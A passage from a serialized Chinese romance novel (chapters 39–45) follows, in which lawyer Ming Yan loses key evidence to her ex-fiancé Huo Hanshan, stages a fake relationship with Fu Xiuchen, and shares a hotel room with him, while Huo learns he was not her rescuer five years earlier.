霍寒山语气冷淡,“律所有工作餐,不用你来送。” “可是……” 霍寒山闭了闭眼,压下心头的烦躁,“出去,我要工作。” 秦婉看着他冰冷的脸,知道再待下去也讨不到好,只能恨恨地跺了跺脚,转身走出了办公室。 门外,无数道或明或暗的视线落在她身上,带着毫不掩饰的鄙夷和厌恶。 秦婉只觉得脸上火辣辣的,像是被人当众扇了几巴掌,她几乎是落荒而逃。 …… 京都,明嫣下榻的酒店房间里。 她正对着电脑,仔细梳理着证据链,准备应对可能出现的各种情况。 手机响起,是她在京都法院的朋友打来的。 “明嫣,有个情况要告诉你……”朋友的声音有些凝重,“你提交的那份关于侍应生证词的录音,以及部分监控证据,被对方律师以取证手段不合规……存在诱导性提问为由提出异议,法院经过合议,决定不予采纳……” 明嫣的心猛地一沉,“什么?取证手段不合规?我当时……” “对方律师是霍寒山。”朋友叹了口气,语气也很无奈,“他太了解程序上的漏洞了。他指出你在询问侍应生时,没有第三人在场,且问题带有明显的指向性,不符合证据规则。而且,他那边还提交了非常专业的程序异议申请,引用的法律条文很刁钻……法官采纳了他们的意见。” 明嫣攥紧了手机,指节泛白。 霍寒山…… 他果然出手了。 而且一出手就直击要害,废掉了她最关键的直接人证证据! “另外……”朋友犹豫了一下,“那个侍应生,刚刚翻供了。” “翻供?”明嫣简直不敢相信自己的耳朵。 “是的,他找到了新的律师,声称之前是受到你的威胁和恐吓,才被迫做了伪证。他说他根本不认识秦婉,也没有帮她下药。” 明嫣只觉得一股寒意从脚底直窜头顶。 一夜之间,关键的证人证言和录音证据双双失效! 明嫣手中的王牌,瞬间变成了废纸! 巨大的挫败感和愤怒几乎将她淹没。 “我知道了,谢谢。”明嫣的声音干涩,她挂断了电话,浑身发冷。 她坐在酒店的房间里,看着桌上那些辛苦整理出来的材料,只觉得一阵无力。 她太了解霍寒山了,他不出手则已,一出手必定是雷霆万钧,不留任何余地。 他这是铁了心,要护秦婉周全! “叮咚——” 就在明嫣心乱如麻之时,房间的门铃突然响起。 明嫣深吸一口气,走到门后,果然,又是霍寒山。 她猛地拉开门,冷冷地看着他。 霍寒山看着她苍白的脸色,眼底闪过一丝复杂的情绪,但很快被冷静取代。 “看来你已经收到消息了。”他语气平静,“侍应生翻供,关键证据被排除。明嫣,这个官司,你打不赢的。” “是你搞的鬼?” 霍寒山抿了抿唇,“是你太心急了,我以前教过你,就算是有百分之百的胜率,也不能忽视百分之一的细节……” 明嫣冷哼了一声,没有说话。 “明嫣,别闹了……” 霍寒山抿了抿唇,“我知道你受了委屈,秦婉那边,我会让她给你道歉,并做出赔偿。这件事就到此为止。” 他说着从口袋里掏出那个熟悉的丝绒盒子,打开,里面是那枚明嫣曾经精挑细选的钻戒…… “我们重新开始,就当一切都没有发生过。以后,我会好好弥补你。” 明嫣看着那枚戒指,突然笑了。 笑得眼泪都快出来了。 “霍寒山,”她的声音清冷,“你到底是有多自信,才会觉得在你做了这一切之后,我还会要你这枚破戒指?还会跟你重新开始?” 她猛地抬手,狠狠打掉了他手中的戒指盒! “啪嗒!” 盒子掉在地上,戒指滚落出来,在光洁的地板上弹跳了几下,滚到了角落…… 第40章 十年暗恋…… 霍寒山维持着伸手的姿势,僵在原地。 他看着地上那枚孤零零的钻戒,心脏像是被一只无形的手狠狠攥住,窒息般的疼痛蔓延开来。 “明嫣……”他几乎是下意识地向前一步,声音带着自己都未察觉的哀求,“别这样……” “别怎样?” 明嫣看着他,眼神里没有恨,没有怨,只有一片死水般的平静,这平静比任何激烈的情绪都更让霍寒山恐惧。 “霍寒山,收起你那一套。你嘴里的弥补所谓的重新开始,对我来说一文不值。” 她一字一句,清晰无比,“我明嫣,就算这辈子孤独终老,也绝不会再回头看你一眼。” “你死了这条心吧。” 这句话如同最后一道惊雷,将霍寒山所有的理智和冷静彻底劈碎。 他看着眼前这个熟悉又陌生的女人,看着她眼中毫不掩饰的决绝,一股前所未有的无力感冲上头顶。 为什么? 为什么她就是不肯回头? 他都已经低头了!他已经拿出最大的诚意了! 她还想怎么样?! “嫣嫣?” 就在这时,一道低沉而熟悉的嗓音自身后响起。 霍寒山和明嫣同时循声望去。 只见傅修沉不知何时站在了走廊不远处。 他今天没穿西装,一身剪裁合体的深灰色羊绒大衣,衬得他身姿越发挺拔颀长,手里似乎还拿着一个文件袋,像是刚外出回来。 他的目光先是落在明嫣身上随即才转向脸色难看的霍寒山,眉头几不可察地蹙起,语气平淡却带着无形的压迫感:“霍律师?有事?” 霍寒山在看到傅修沉的瞬间,脸色骤然阴沉到了极点,周身的气压低得骇人。 他怎么在这里?! 又是他! 阴魂不散! 明嫣在看到傅修沉的刹那,心念电转。 一个大胆而决绝的念头瞬间形成。 与其被霍寒山继续纠缠,不如……彻底断了他的念想! 在霍寒山开口之前,明嫣忽然几步走到傅修沉身边,极其自然地伸手挽住了他的胳膊,抬眸看向霍寒山,“霍律师,忘了跟你介绍。” 她顿了顿,侧头看了一眼身侧的男人,“傅修沉,我的……男朋友。” “……” 空气死寂。 霍寒山的瞳孔骤然收缩,像是听到了什么天方夜谭,难以置信的目光在明嫣和傅修沉之间来回逡巡。 男……朋友? 明嫣和傅修沉?! 这怎么可能?! 而此时的傅修沉显然也愣了一下。 他垂眸,看着主动挽住自己手臂的明嫣,少女纤细的手指微微用力,指尖甚至因为紧张而有些发凉,透过薄薄的羊绒面料传递过来。 她靠得他很近,近到他可以闻到她发间淡淡的洗发水清香。 傅修沉的眸色倏然深暗,如同化不开的浓墨。 他几乎是瞬间就明白了明嫣的意图。 他并没有推开明嫣,反而极其自然地抬起另一只手,轻轻覆在了她挽着自己胳膊的手背上,指尖甚至安抚性地轻轻摩挲了一下。 明嫣的身体几不可察地微微一僵。 傅修沉抬起眼眸,迎上霍寒山震惊而冰冷的视线,唇角勾起一抹极淡的的弧度。 “霍律师,又见面了。” 他顿了顿,目光扫过霍寒山铁青的脸色,以及地上那枚孤零零的戒指,语气带着几分意味深长的嘲弄:“看来,霍律师似乎还对我女朋友……心存妄念?” “女朋友”三个字,被他咬得格外清晰。 霍寒山的脸色瞬间变得铁青,他死死地盯着明嫣挽着傅修沉胳膊的手,胸口剧烈起伏,一股从未有过的火焰几乎要将他焚烧殆尽。 “不!不可能!明嫣她怎么可能喜欢别人?” 傅修沉的眸色骤然转冷,周身的气压瞬间降低。 “她怎么不能喜欢别人?”傅修沉冷笑一声,“霍寒山,我五年前就跟你说过,辜负真心的人,该吞一万根针!是你配不上她!” 五年前? 明嫣微微一怔,下意识地看向傅修沉。 霍寒山的瞳孔也是猛地一缩,脸色更加难看,拳头紧紧攥起,手背上青筋暴起。 “傅修沉!你果然……从那个时候就开始打她的主意了?!” 傅修沉却没有理会他,只是冷冷地瞥了他一眼,揽着明嫣的肩膀,转身带着她进了房间,然后当着霍寒山的面,缓缓关上了房门。 “砰。” 门关上的声音不重,却像是一记重锤,彻底砸碎了霍寒山所有的希望。 他顺着墙壁滑坐到地上,看着那扇紧闭的房门,只觉得一股腥甜涌上喉头,眼前阵阵发黑。 明嫣…… 明嫣她不喜欢自己了…… 她有男朋友了…… …… 房间内。 门关上的瞬间,明嫣几乎是立刻松开了挽着傅修沉胳膊的手,迅速向后退开两步,拉开了距离。 刚才强装出来的镇定和亲昵瞬间瓦解,脸颊不受控制地泛起红晕,连耳根都烧得厉害。 “对不起,傅总……”她低着头,“刚才……情急之下,利用了你……非常抱歉。” 傅修沉看着空落落的臂弯,上面似乎还残留着柔软触感。 他不动声色地收回手,插进大衣口袋,指尖无意识地捻了捻。 “没事。”他的声音恢复了一贯的平淡,听不出什么情绪,“能帮到明律师就好。” 他走到茶几旁,将手中的文件袋放下,状似随意地问道:“事情处理得怎么样了?我看霍寒山的样子,似乎不会轻易罢休。” 提到霍寒山,明嫣的眼神冷了下来,“关键证据被排除了,侍应生也翻供了。” 傅修沉闻言,眉头微蹙,“需要……” “不用。”明嫣打断他,抬起头,眼神已经恢复了锐利和坚定,“谢谢傅总,但这件事,我想自己解决。就算证据被排除,我也还有其他办法。这个官司,我打定了。” 傅修沉看着她眼中重新燃起的斗志,点了点头,“好。” 他不再多言,指了指桌上的文件袋,“这是之前案子的后续补充材料,周慕言让我带给你。” “谢谢。”明嫣道谢,心里却还萦绕着刚才霍寒山的话。 她犹豫了一下,还是忍不住问出了口:“傅总,刚才霍寒山说的……五年前,是什么意思?” 傅修沉转过身,深邃的目光落在她满是疑惑的脸上。 他沉默了几秒,忽然勾起唇角,一本正经地说:“如果我说,我暗恋你十年,看他抢走了你,所以忍不住去收拾了他一顿,你信吗?” “……” ——鬼才信! 第41章 该不会就是明嫣吧? “不信。” 明嫣忍住翻白眼的冲动。 拜托! 编也要编个像样点儿的啊。 还暗恋十年? 十年前,她那时候才多大? 更何况,逻辑上也说不通。 他可是傅修沉…… 沪圈傅家的太子爷。 从小到大优秀到有无数追求者,能这里排到魔都的黄浦江…… 这样的人能暗恋一个人十年? “傅总,就算编故事也编得像样一点行吗?” 傅修沉轻笑了一声,走到窗边的单人沙发坐下,长腿交叠,姿态慵懒,“不信就算了。” 明嫣也没当一回事,自顾自地转过身,开始收拾桌面上散乱的案卷材料,将注意力拉回正事上。 “你接下来有什么打算?”傅修沉问。 “证据链断了,侍应生翻供,霍寒山那边肯定不会善罢甘休……”明嫣眉头紧锁,“我明天的飞机回江南。” 京都这边暂时僵住了,留在意义不大。 更何况,律所那边还有一堆事,而且…… 她大哥明燃杀到江南去了,她得回去应对。 傅修沉微微颔首,没再多问,“需要我帮你订机票吗?” “不用,我已经让陆奉归订好了。”明嫣摇头。 两人又聊了几句案子可能的突破口和后续策略,傅修沉给了几条很中肯的建议,明嫣一一记下。 时间不知不觉流逝,窗外的天色已经完全暗了下来。 明嫣走到门口,小心翼翼地透过猫眼往外看了一眼——霍寒山竟然还站在那里! 他靠在对面的墙壁上,低着头,身影在走廊灯光下拉出长长的影子,完全没有要离开的意思。 明嫣的心猛地一沉。 他这是要守到天亮吗? “他还没走。”明嫣退回房间,眉头紧锁。 可如果傅修沉这会儿出去的话,那他们刚才的戏就白演了。 傅修沉走到她身边,也透过猫眼看了一眼外面如同石雕般的霍寒山,眸色微沉。 他收回视线,看向明嫣,语气平静:“我今晚不走。” “什么?”明嫣愣了一下。 随即意识到问题所在——她订的是大床房,只有一张床! 傅修沉看着她一脸懵的样子,眼底掠过一丝极淡的笑意,他指了指房间角落那张看起来还算宽敞的单人沙发,“我睡那里就好。” “那怎么行?”明嫣下意识地拒绝。 让傅修沉这么一个大男人蜷在沙发上睡一晚? 她光是想想就觉得罪过。 先不说舒不舒服,这……这像话吗? 可是,让他睡床? 那更不可能! 孤男寡女共处一室已经够尴尬了,还要同床共枕?! 明嫣只觉得一个头两个大。 她怎么就脑子一热,把自己推进了这么个进退两难的境地! “没关系。”傅修沉语气淡然,“非常时期,不必拘泥。总好过……功亏一篑。” 他最后四个字说得意味深长,目光扫了一眼门口的方向。 明嫣顺着他的视线看去,想到门外固执的霍寒山,到了嘴边的拒绝又咽了回去。 傅修沉说得对,如果他现在出去,之前她拉他做挡箭牌的行为就毫无意义,霍寒山肯定会继续纠缠。 两害相权取其轻。 “……那……委屈傅总了。” “没关系。”傅修沉不再多言,脱下大衣挂在衣架上,动作自然地在沙发上坐下,拿出手机似乎开始处理邮件,给明嫣留出了空间。 明嫣看着他这副坦然淡定的模样,自己反而更加不自在。 她深吸一口气,强迫自己冷静,拿起换洗衣物,“那……我先去洗漱。” “嗯。”傅修沉头也没抬,专注地看着手机屏幕。 明嫣几乎是逃也似地钻进了浴室。 关上浴室门,背靠着冰冷的瓷砖,明嫣才长长地吁出一口气。 心跳依旧有些失序。 和傅修沉共处一室…… 这感觉,比面对十个难缠的客户还要让她紧张。 她甩了甩头,打开花洒,试图用温热的水流冲散脑子里那些乱七八糟的念头。 …… 浴室外,傅修沉确实在处理邮件,但注意力却并不完全在屏幕上。 浴室里传来淅淅沥沥的水声,像是最细微的羽毛,不断撩拨着他紧绷的神经。 他强迫自己将视线固定在手机屏幕上,脑海里却不合时宜地浮现出那晚她意识不清时,缠在自己身上的柔软触感…… 喉结不自觉地滚动了一下。 就在这时,他的手机震动起来,屏幕上跳跃着‘许宴清’的名字。 傅修沉蹙了蹙眉,看了一眼紧闭的浴室门,起身走到窗边,接起了电话。 “喂?” “傅少!重磅消息!” 许宴清的声音带着毫不掩饰的幸灾乐祸,“你猜怎么着?明瘸子杀到江南了!就今天下午,直接闯到你家小美人的律所去了!” 傅修沉的眉头几不可察地蹙了一下,“我知道。” “你知道?你怎么知道的?”许宴清愣了一下,随即恍然,“哦对,忘了你消息灵通……” 他紧接着话音一转,坏笑几声,“怎么样?这几天有没有趁虚而入,一举拿下?” 傅修沉没理会他的不着调,语气平淡,“说正事。” “这就是正事啊!”许宴清嚷嚷道,“明燃那家伙可不是省油的灯,他既然亲自出马了,肯定是要把你家小美人抓回去的!你可得看紧点,别煮熟的鸭子飞了!” 傅修沉看着窗外京都璀璨的夜景,眸色深沉,“她不是鸭子。” “哎呀,我就是打个比方!” 许宴清嘿嘿一笑,随即话锋一转,语气变得八卦起来,“哎,说到这个,我倒是突然想起来一件事……” “什么事?”傅修沉嗓音清冷。 他顿了顿,像是在努力回忆,“五年前,你是不是偷偷跑去过一趟京都?回来之后,就开始发起了高烧,烧得迷迷糊糊的……” 傅修沉握着手机的手指几不可察地收紧了一下,没有应声。 许宴清却越说越起劲,“对对对!我想起来了!你发烧那几天,我正好去看你,听见你躺在床上说胡话,来来回回就念叨那么几句——‘她为什么会喜欢那种人?’、‘她那么好,他为什么会不喜欢她?’” “傅少,”许宴清压低声音,带着十足的戏谑意味,“你当年嘴里那个‘她’……该不会就是明嫣吧?” 第42章 这也太暧昧了吧?! 电话那头陷入了一片沉默。 傅修沉站在落地窗前,窗外是京都璀璨的夜景,万千灯火在他深邃的眼底明明灭灭。 他下意识地动了动唇,想要说什么。 然而,就在这时—— ‘咔哒。’ 浴室的门锁发出一声轻响。 傅修沉倏然回神,猛地转过头。 只见明嫣穿着一身棉质睡衣,用毛巾包裹着湿漉漉的长发,从氤氲着水汽的浴室里走了出来。 她白皙的脸颊被热气蒸得泛着红晕,眼眸像是被水洗过的琉璃,带着几分洗漱后的慵懒和……魅惑。 她抬眼,正好对上傅修沉转过身来的视线。 傅修沉到了嘴边的话瞬间咽了回去。 他对着电话那头,嗓音淡淡地说了一声:“挂了。” 然后,不等许宴清在那头“喂喂喂”地抗议,便径直挂断了电话。 “你洗好了?”他神色如常地看向明嫣,仿佛刚才那个电话只是寻常的工作交流。 “嗯。”明嫣点了点头,一边用毛巾擦着头发,一边有些不好意思地看着那个沙发,“傅总,沙发有点小,您……真的没问题吗?” 傅修沉将手机收起,迈步走向浴室,“没关系。你早点休息。” 在与明嫣擦肩而过的瞬间,他闻到了她身上传来的,带着水汽特属于少女的馨香。 他的喉结几不可察地滚动了一下,脚步未停,直接走进了浴室,关上了门。 明嫣看着浴室门关上,轻轻拍了拍自己还有些发烫的脸颊。 她走到床边坐下,拿起吹风机,嗡嗡的声响盖过了浴室里隐约的水声,却盖不住心底那一丝莫名的异样感。 她总觉得,傅修沉刚才那个电话……好像有点怪怪的。 还有他五年前和霍寒山之间…… 到底发生了什么? 吹风机的声音在耳边持续作响,明嫣甩了甩头,决定不再去想这些理不清的乱麻。 当务之急,是应对眼前的官司,还有……即将在江南面对的大哥。 今晚,先好好睡一觉吧。 至于傅修沉…… 明嫣看了一眼那个对于他来说明显过于狭窄的沙发——算了。 只能再委屈他一晚了。 …… 就在明嫣胡思乱想之际,浴室的水声停了。没过多久,傅修沉穿着酒店的白色浴袍走了出来。 他的浴袍带子系得一丝不苟,领口严实地合拢着,只露出一小截冷白色的锁骨。 湿漉的黑发被他随手向后捋去,露出饱满的额头和清晰的发际线,几缕不听话的发丝垂落额前,少了平日里的凌厉冷峻,多了几分随性的慵懒。 水珠顺着他棱角分明的下颌线滚落,滑过喉结,没入浴袍领口…… 明嫣下意识地移开视线,心跳莫名漏了一拍。 “我好了。”傅修沉的声音带着刚沐浴后的微哑,比平时更低沉几分。 “哦,好。”明嫣站起身,有些无措地指了指沙发,“那个……你真的……要睡那里吗?会不会太不舒服了?” 傅修沉走到沙发旁,用手丈量了一下,语气平淡:“还好。” 他抬眸看她,“总不能让你睡沙发。” 明嫣张了张嘴,想说她可以打地铺,但看着傅修沉已经坦然地在沙发上坐下的姿态,到嘴边的话又咽了回去。 打地铺好像……更奇怪。 “那……晚安。” “晚安。”傅修沉应了一声,拿起之前放在茶几上的手机,似乎准备处理一些工作。 明嫣见状,也不好再打扰,默默地走到大床边,掀开被子躺了进去。 她关掉了自己这边的床头灯,只留下傅修沉沙发旁边的一盏落地灯散发着昏黄柔和的光线。 房间陷入一种奇异的安静。 只有两人清浅的呼吸声,以及傅修沉偶尔滑动手机的细微声响。 明嫣背对着沙发方向,蜷缩着身体,努力让自己快点入睡。 可是,大脑却异常清醒。 身后不远处就是傅修沉,即使隔着一段距离,她仿佛也能感受到他身上散发出的那股存在感极强的气息。 清洌的,带着沐浴后水汽的男性气息。 还有刚才他从浴室出来…… 明嫣猛地拉高被子,盖住半张脸,试图驱散那些乱七八糟的画面。 她强迫自己数羊。 一只羊,两只羊,三只羊…… 数到不知道多少只的时候,她悄悄转过身,想看看傅修沉睡没睡。 昏黄的灯光下,傅修沉依旧靠在沙发上,手机的光映在他脸上,勾勒出冷硬的轮廓。 他微垂着眼眸,长而密的睫毛在眼下投下一小片阴影,神情专注。 似乎察觉到她的视线,他忽然抬眸看了过来。 四目相对。 明嫣像是做坏事被抓包一样,心脏猛地一跳,慌忙闭上眼睛,假装自己已经睡着。 傅修沉看着她僵硬装睡的侧影,唇角几不可察地弯了一下。 他放下手机,关掉了旁边的落地灯。 房间瞬间陷入一片黑暗。 黑暗中,感官变得格外敏锐。 明嫣能清晰地听到自己的心跳声,也能听到傅修沉那边传来的,极其轻微的衣料摩擦声。 他好像……调整了一下姿势。 沙发确实不太舒服吧? 他那么高的个子…… 歉疚感再次涌上心头。 时间在寂静和黑暗中缓慢流淌。 不知过了多久,明嫣终于有了一丝睡意,意识开始模糊。 就在她即将沉入梦乡之际,忽然听到一声极力压抑的沉闷咳嗽声。 是从沙发方向传来的。 她瞬间清醒,屏住呼吸仔细听。 隔了几秒,又是一声压抑的轻咳。 他感冒了? 是着凉了吗? 明嫣的心揪了一下。 她犹豫再三,还是轻声开口,在一片黑暗中问道:“傅总……你没事吧?是不是着凉了?” 那边沉默了几秒,才传来傅修沉低沉的声音,带着明显的鼻音:“没事,吵到你了?” “没有。”明嫣连忙道,“我还没睡着。” 她顿了顿,鼓起勇气,“那个,沙发太小了……要不……你还是到床上来睡吧?” 说完这句话,她的脸颊瞬间爆红,幸好在一片漆黑中无人看见。 天啊!她在说什么?! 邀请一个男人上床?! 虽然此‘上床’非彼‘上床’,但…… 这也太暧昧了! 第43章 同床共枕(加更) 傅修沉显然也没料到她会这么说,黑暗中,他的呼吸几不可察地窒了一下。 房间里的空气仿佛都凝滞了。 就在明嫣后悔得恨不得咬掉自己舌头,准备开口补救时,傅修沉的声音传了过来,比刚才更加沙哑…… “不用。” 他顿了顿,补充道:“我体没关系,你睡吧。” 他的拒绝让明嫣松了口气,但心底那点歉疚却丝毫未减。 她抿了抿唇,没再说话,重新躺好。 然而,接下来的时间,她却再也无法入睡。 傅修沉压抑的咳嗽声隔一段时间就会响起一次,虽然他已经极力控制,但在寂静的夜里依旧清晰可闻。 每一次咳嗽,都像一根小针,轻轻扎在明嫣的心上。 她睁着眼睛,看着天花板上模糊的轮廓,内心天人交战。 最终,她还是败给了自己的良心。 她悄悄地坐起身,摸索着打开了自己这边的床头灯,调到最暗的光线。 昏黄的光线驱散了一小片黑暗。 “傅……傅总……”她看向沙发方向,声音很轻,“你到床上来睡吧。” 傅修沉似乎没想到她会再次提出,在昏暗的光线下,他深邃的眼眸看向她。 明嫣避开他的视线,飞快地说道:“床很大,我们……可以分两边睡。中间……中间用枕头隔开!这样总比你睡沙发生病强。” 她说着,也不等傅修沉回应,就手脚麻利地将床上多余的枕头和被子抱起来,在床的中间垒起了一道不算太高,但足够清晰的‘楚河汉界’。 做完这一切,她率先爬到靠窗的那一边,掀开被子躺了进去,背对着中间的那道屏障,闷声道:“我睡了!” 一副‘我已经决定了,你不准反驳’的架势。 傅修沉看着床上那道突兀的‘枕头墙’,又看了看背对着他,身体紧绷得像块石头的明嫣,眼底掠过一丝连他自己都未曾察觉的柔软。 他沉默地站起身。 脚步声靠近。 明嫣感觉到身后的床垫微微下陷,一股清洌的气息混合着淡淡的水汽笼罩过来。 她的身体瞬间僵直,连呼吸都放轻了。 傅修沉在床的另一侧躺下,中间隔着柔软的枕头屏障。 两人背对着背,谁都没有说话。 房间里再次安静下来。 但这一次的安静,与之前截然不同。 空气中仿佛有无形的丝线在缠绕,紧绷而暧昧。 明嫣能清晰地感受到身后传来的,属于另一个人的体温和存在感。 即使隔着枕头,即使背对着,那种强烈的异性气息依旧无法忽视。 她的心脏在胸腔里狂跳,像是要挣脱束缚蹦出来。 她死死地闭着眼睛,试图催眠自己。 不知过了多久,或许是因为真的累了,也或许是紧绷的神经终于到了极限,明嫣的呼吸逐渐变得绵长均匀,身体也慢慢放松下来。 她睡着了。 听到身后传来平稳的呼吸声,傅修沉缓缓睁开了眼睛。 他动作极轻地翻了个身。 昏暗的光线下,他能看到明嫣散落在枕边的乌黑发丝,以及一小段白皙脆弱的脖颈。 她睡得很沉,似乎还无意识地往枕头里蹭了蹭。 傅修沉的目光深邃,如同静谧的夜空,落在她恬静的睡颜上,久久没有移开。 他伸出手,指尖悬在她的脸侧。 但最终,他还是收回了手,只是静静地看着。 看了很久很久。 直到窗外的天色开始泛起一丝微弱的灰白。 他才几不可察地叹了口气,重新转过身,闭上了眼睛。 这一夜,有人酣然入梦。 有人…… 彻夜难眠。 …… 翌日清晨。 明嫣是在一阵食物的香气中醒来的。 她迷迷糊糊地睁开眼,发现自己不知何时已经翻了个身,面向了房间中央。 而那道由枕头垒成的‘楚河汉界’…… 不知何时矮了一大截。 其中一个枕头甚至滚落到了地上。 而床的另一侧……空空如也。 傅修沉已经起来了。 明嫣猛地坐起身,揉了揉眼睛,看向房间。 只见傅修沉已经穿戴整齐,依旧是那身熨帖的深灰色西装,一丝不苟。 他正站在小餐桌旁,将外卖袋里的早餐一样样拿出来摆好。 阳光透过窗帘的缝隙洒进来,在他身上镀上一层浅金色的光晕。 听到动静,他转过头,神色如常,“醒了?洗漱一下吃早餐吧。” 他的声音听起来恢复了平时的清冷,鼻音也消退了不少。 明嫣有些恍惚地点了点头,“哦,好。” 她下意识地看了一眼那张沙发——上面的毯子叠得整整齐齐。 所以他后来……还是睡在床上了? 那枕头…… 明嫣的脸颊微微发热,不敢细想,连忙掀开被子下床,“我马上好。” 她几乎是逃也似地钻进了浴室。 用冷水洗了把脸,看着镜中自己微红的脸颊,明嫣深吸了好几口气,才勉强平复了心情。 等她收拾好自己出来时,傅修沉已经坐在餐桌旁等她。 早餐很丰盛,中式西式都有,摆满了小半张桌子。 “不知道你喜欢吃什么,就都买了一点。”傅修沉将一碗还冒着热气的豆浆推到她面前。 “谢谢。”明嫣低声道谢,在他对面坐下。 两人安静地吃着早餐。 气氛有些微妙的尴尬。 明嫣小口小口地喝着豆浆,目光时不时偷偷瞟向傅修沉。 他吃得很快,但动作依旧优雅,看不出任何异样。 仿佛昨晚‘同床共枕’,只是一件再平常不过的事情。 “那个……傅总,”明嫣最终还是没忍住,开口问道,“昨晚……睡得好吗?” 傅修沉抬眸看了她一眼,眼神平静无波,“还好。” 他顿了顿,补充道:“比沙发舒服。” 明嫣:“……” 这话她没法接。 她低下头,专心对付碗里的豆浆,耳根却悄悄红了。 傅修沉看着她这副模样,眼底闪过一丝几不可察的笑意,但很快消失。 他放下筷子,拿起餐巾擦了擦嘴角,“你下午三点的航班?” “嗯。”明嫣点头。 “到时候我让送你去机场。” “不用麻烦了,傅总,我自己打车去就行。”明嫣连忙拒绝。 “顺路。” “……” 这又是顺的哪门子的路? 傅修沉语气平淡,“我上午还有个会,结束后直接去机场,也是三点的航班,我们一起回江南。” 明嫣:“……好,谢谢傅总。” 第44章 五年前救明嫣的是谁? 傅修沉先一步离开,房间里便只剩下明嫣一个人。她看着被收拾得干干净净的餐桌,又扫了一眼身后凌乱的大床—— 想到昨晚不仅是共处一室,甚至还是同床共枕…… 明嫣甩了甩头,将那些杂乱的情绪抛开,便开始收拾自己的行李。 下午就要回江南了,京都这边的事情暂时告一段落,虽然秦婉的案子遇到了阻碍,但她绝不会放弃。 收拾完行李,看看时间还早,明嫣便想起陆奉归这几天在江南忙前忙后,又是应付她大哥,又是处理律所杂事,辛苦得很,便决定去酒店附近的商业街转转,给他买点京都特色的点心带回去,算是犒劳。 走廊里空无一人,霍寒山不知何时已经离开了。 明嫣心里松了口气,乘坐电梯下楼。 然而,她刚走出酒店旋转门,还没来得及呼吸一口室外的新鲜空气,一个熟悉的高大身影便从旁边的立柱后闪了出来,挡在了她的面前。 是霍寒山。 他显然一夜未眠,眼底布满红血丝,下巴上也冒出了青色的胡茬,西装外套有些褶皱,完全不见往日的冷峻矜贵。 他这是……在酒店外面等了一晚上吗?! “我们谈谈。” 明嫣的眉头瞬间拧紧,“霍寒山,你到底有完没完?我们之间没什么好谈的。” 她试图绕过他,却被他再次挡住去路。 “就五分钟,说完我就走。” 明嫣停下脚步,深吸一口气,压下心头的火气,“好,你说,我听着。” 她倒要看看,他还能说出什么花样来。 “昨天……傅修沉说的,不是真的,对不对?”他紧紧盯着明嫣的眼睛,像是要从里面找出一点点的蛛丝马迹,“你怎么可能喜欢他?你是在气我,对不对?” 她冷笑一声,“霍寒山,你是不是觉得,全世界都围着你转?” “我不是那个意思……” “霍寒山,我告诉你!”明嫣直接打断他的话,“如果不是看在你五年前救过我的份上,就凭你和秦婉做的这些事,我连最后这点脸面都不会给你留!” 霍寒山望着她,一字一顿,“因为我……救过你?” 明嫣深吸了一口气,哪怕她如今对他只剩下厌恶,却依旧还是点了点头。 当时若不是霍寒山,她恐怕凶多吉少…… 霍寒山抿了抿唇,“我什么时候救过你?” “五年前,京都大学后巷,我被人抢劫,差点被……是你冲出来救了我,胸口还挨了一刀,留下了一道疤,对吗?” 不……不是他。 霍寒山只觉得一股寒意从脚底瞬间窜遍全身,血液仿佛在刹那间冻结。 他没有一点儿救人的记忆。 他胸口的那道疤是那年放暑假时,在山上被树枝划伤的…… 不知怎么,霍寒山第一次感觉恐慌的滋味。 他只觉得此时好事有一把烧红的匕首,狠狠捅进他的心脏,然后用力搅动,痛得他几乎无法呼吸,眼前阵阵发黑。 见他的表情不太对劲儿,明嫣不由得眉头微皱,“你是不是没印象?” 霍寒山像是终于回过神来,“当然记得……” 他的手掌贴在胸口,“伤疤还在……” 明嫣的视线不由得落在他的胸口上,眸底闪过复杂的情绪,却是很快移开了目光。 霍寒山将微微颤抖的手插进口袋里,紧握成拳,“如果……如果当初我没有救你的话,你还会喜欢我吗?” 明嫣的眉头不由得皱紧,似是没有料到他会这么问。 “不会。” 其实她之前也想过这个问题。 若是霍寒山当初没有救她,或许,她不会这么不管不顾地一头扎进去…… 甚至不惜为了他跟家里撕破脸。 霍寒山只觉得脑袋‘嗡’地一声,整个人僵在原地一动不动。 明嫣没再理会他,径直绕过他朝着商业走去。 也不知道过了多久,霍寒山这才扭头望去,可此时的身后哪里还有明嫣的人影? 世界仿佛在这一刻彻底崩塌。 周围嘈杂的人声,都像是隔着一层厚厚的玻璃,变得模糊而不真切。 霍寒山僵在原地,像一尊被抽走了所有灵魂的空壳。 如果明嫣知道当年救她的那个人不是他…… 若是她找到了那个真正救他的人…… 是不是也会像她之前对他那样对那个人也那么好…… 为他尽心尽力,倾尽一切? 霍寒山不由得按住心口。 只要一想到这个场景,心脏处就传来一阵阵尖锐的的剧痛,痛得他弯下了腰,大口大口地喘息着,却依旧觉得窒息。 原来…… 这就是心痛的感觉吗? 如此清晰,如此猛烈,如此…… 令人绝望。 他错了。 他一直都错了。 他以为明嫣的爱是理所当然。 直到此刻,他才惊恐地发现,那场持续了五年的盛大爱恋,从一开始就建立在一个荒谬的误会之上。 地基是虚幻的,所以崩塌起来,才会如此彻底,如此……不留余地。 而他现在,连抓住那根救命稻草的资格都没有了。 因为那根稻草,从来就不属于他。 “嗬……嗬……”他发出痛苦压抑的喘息声,眼前一阵阵发黑。 他扶着旁边的柱子,才勉强稳住摇摇欲坠的身体。 霍寒山颤抖着手,掏出手机,因为手指抖得太厉害,几次都差点把手机摔在地上。 他好不容易找到韩晋的号码,拨了出去。 电话几乎是瞬间被接起。 “老霍?怎么样?见到明嫣了吗?她……”韩晋急切的声音传来。 霍寒山打断他,声音嘶哑干涩,每一个字都像是从喉咙里硬挤出来的: “韩晋……帮我查一件事……” 他闭了闭眼,巨大的痛苦让他的声音都在发颤。 “查一下……五年前,在京大后巷……救了明嫣的那个人……是谁?” 电话那头的韩晋明显愣住了,好几秒没反应过来,“……什么?五年前?救明嫣?老霍,你……你不就是……” “去查!”霍寒山猛地低吼出声,声音里带着一种濒临崩溃的绝望和暴怒,“立刻!马上!我要知道……到底是谁!!” 吼完这一句,他像是被抽干了所有力气,猛地挂断了电话,身体沿着冰冷的柱子,缓缓滑坐在地上。 他抬起手,捂住脸,肩膀不受控制地剧烈颤抖起来。 一种从未有过的恐慌和绝望,如同无数细密的冰针,扎进他的心口。 原来…… 心真的会痛。 痛不欲生。 第45章 到底是不是明嫣? 京都国际机场,人流如织。 明嫣和傅修沉并肩走在VIP通道里,两人之间隔着恰到好处的距离,气氛有些微妙。 